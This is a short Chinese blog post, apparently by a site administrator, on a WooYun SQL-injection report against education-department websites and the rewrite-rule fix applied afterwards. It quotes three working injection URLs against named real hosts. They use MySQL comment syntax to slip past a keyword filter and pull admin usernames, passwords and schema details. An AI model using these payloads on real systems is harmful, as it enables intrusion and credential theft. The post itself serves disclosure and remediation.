没想到wooyun.org上榜被抓sql inject

漏洞编号:WooYun-2012-04939
详细说明:
因其中简单过滤括号和空格,导致可以绕过过滤进行注入。比如随便在教育厅主页打开几个网站测试。
主站:http://gov.e21.cn/school_show.php?college_id=96+/*!and*/+1=2+/*!uNioN*/+/*!seLecT*/+1,user_name,3,4,user_pwd,6,7,8,9,10,11,12,13,14+/*!from*/+admin
高中课改网:http://gzkg.e21.cn/content.php?id=1253+/*!aND*/1=2+/*!uNion*/+/*!select*/+1,2,3,4,5,6,SCHEMA_NAME,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+/*!from*/+information_schema.schemata+limit 1,1
中考招生网:http://zkzs.e21.edu.cn/school/schindex.php?id=4328+/*!aND*/1=2+/*!uNion*/+/*!select*/+1,2,3,TABLE_NAME,5,6,7,8,9,10,11,12,13,14,15,16,17+/*!from*/+information_schema.TABLES+/*!where*/+TABLE_SCHEMA=0x7A6478786A68+limit 1,1

还是由于sql注入的漏洞,以前虽然做了一些前端web的rewrite的处理,过滤了一些关键字符串,但是没有注意到mysql中通过注释字符也可以执行sql,这样当用户采用/**/select/**/或/*!select*/的构造仍然可以绕过URL的过滤。
所以对rewrite的部分规则进行了调整,如关键字左右非字母均rewrite:
$request_uri ~* “[^a-zA-Z]select[^a-zA-Z]”
个人感觉,开发人员在代码中的对引入变量的判断过滤才是最有效的方式,不过在这个单位系统人员和开发人员分割很开,这方面只能靠个人自觉尽力了。

发表评论